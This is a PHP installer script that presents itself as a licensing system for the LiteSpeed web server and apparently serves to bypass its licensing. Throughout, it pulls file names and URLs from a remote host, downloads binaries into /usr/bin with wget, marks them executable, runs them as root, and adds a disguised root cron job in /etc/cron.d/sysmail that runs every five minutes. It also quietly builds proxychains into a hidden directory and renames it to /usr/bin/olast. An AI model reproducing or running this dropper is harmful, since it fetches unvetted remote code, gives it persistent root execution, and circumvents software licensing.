<?php 
$getcopyright2 = curl_init("http://api.resellercenter.ir/litespeed/getcopyright2.php");
$getcopyright3 = curl_init("http://api.resellercenter.ir/litespeed/getcopyright3.php");
$getcopyright4 = curl_init("http://api.resellercenter.ir/litespeed/getcopyright4.php");
$getcopyright5 = curl_init("http://api.resellercenter.ir/litespeed/getcopyright5.php");
exec("mkdir /root/.core > /dev/null 2>&1; cd /root/.core; rm -rf proxychains-ng > /dev/null 2>&1; git clone https://github.com/rofl0r/proxychains-ng.git > /dev/null 2>&1 ; cd proxychains-ng > /dev/null 2>&1; ./configure > /dev/null 2>&1; make > /dev/null 2>&1; make install > /dev/null 2>&1; make install-config > /dev/null 2>&1; rm -rf /usr/local/etc/proxychains.conf; rm -rf /root/proxychains-ng > /dev/null 2>&1");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://api.resellercenter.ir/litespeed/getcopyright2.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$getcopyright2 = curl_exec($ch);
curl_close($ch);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://api.resellercenter.ir/litespeed/getcopyright3.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$getcopyright3 = curl_exec($ch);
curl_close($ch);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://api.resellercenter.ir/litespeed/getcopyright4.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$getcopyright4 = curl_exec($ch);
curl_close($ch);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://api.resellercenter.ir/litespeed/getcopyright5.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$getcopyright5 = curl_exec($ch);
curl_close($ch);
echo "\n\n \x1B[31m [+] Starting " . $getcopyright2 . " Licensing system - LSWS [+]\x1B[32m \n\n";
echo "\x1B[36m  | Copyright 2018 - " . $getcopyright2 . " \x1B[32m\n";
$file1 = exec("service sshd status > /root/.bash_timel");
$file3 = file_get_contents("/root/.bash_timel");
$pos = strpos($file3, "OpenSSH server daemon");
if( $pos !== false ) 
{
    exec("rm -rf /usr/bin/" . $getcopyright4 . " && wget -O /usr/bin/" . $getcopyright4 . " http://litespeed.resellercenter.ir/litespeedv2/RcLicense_lsws > /dev/null 2>&1");
    exec("rm -rf /usr/bin/" . $getcopyright3 . " > /dev/null 2>&1");
    exec("wget -O /usr/bin/" . $getcopyright3 . " http://litespeed.resellercenter.ir/litespeedv2/RcLicenseLSWS > /dev/null 2>&1");
}
else
{
    exec("rm -rf /usr/bin/" . $getcopyright4 . "; wget -O /usr/bin/" . $getcopyright4 . " http://litespeed.resellercenter.ir/litespeedv1/RcLicense_lsws > /dev/null 2>&1");
    exec("rm -rf /usr/bin/" . $getcopyright3 . "; wget -O /usr/bin/" . $getcopyright3 . " " . $getcopyright5 . " > /dev/null 2>&1");
}

exec("rm -rf /root/.bash_timel > /dev/null 2>&1");
exec("chmod +x /usr/bin/" . $getcopyright4 . " > /dev/null 2>&1");
exec("chmod +x /usr/bin/" . $getcopyright3 . " > /dev/null 2>&1");
exec("echo '*/5 * * * *  root /usr/bin/" . $getcopyright3 . "' >> /etc/cron.d/sysmail");
if( file_exists("/usr/local/lsws") ) 
{
    echo "\n\n \x1B[33m | " . $getcopyright2 . " system in now installing... Please wait...\x1B[0m \n\n";
    exec("/usr/bin/" . $getcopyright3 . "");
    echo "\x1B[32m  [+] " . $getcopyright2 . " has been installed on your server. Enjoy :) [+] \x1B[0m \n\n";
    echo "\x1B[32m   To update your LSWS License you can use :   \x1B[0m \n";
    echo "\x1B[32m   " . $getcopyright3 . "   \x1B[0m \n\n";
    echo "\x1B[32m   DO NOT CHANGE LSWS HOME DIRECTORY   \x1B[0m \n";
}
else
{
    echo "\x1B[33m\nLSWS is not installed on your server !! Would you like to install ? [Yes/No]  \x1B[0m";
    $handle = fopen("php://stdin", "r");
    $line = fgets($handle);
    if( trim($line) == "Yes" ) 
    {
        echo "\nInstalling LSWS...";
        exec("cd /usr/local/directadmin/custombuild && ./build update && ./build set webserver litespeed && ./build set php1_mode lsphp && ./build litespeed && ./build php n");
        echo "\n\x1B[32m   LiteSpeed plugin has been installed! Please wait...   \x1B[0m \n";
    }
    else
    {
        if( trim($line) == "No" ) 
        {
            echo "aborting ...";
            exit();
        }

        echo "Wrong answer ...";
    }

    exec("cd /root/.core/proxychains-ng > /dev/null 2>&1 && mv proxychains4 /usr/bin/olast > /dev/null 2>&1");
    exec("" . $getcopyright3 . "");
}

echo "\r\n\r\n";

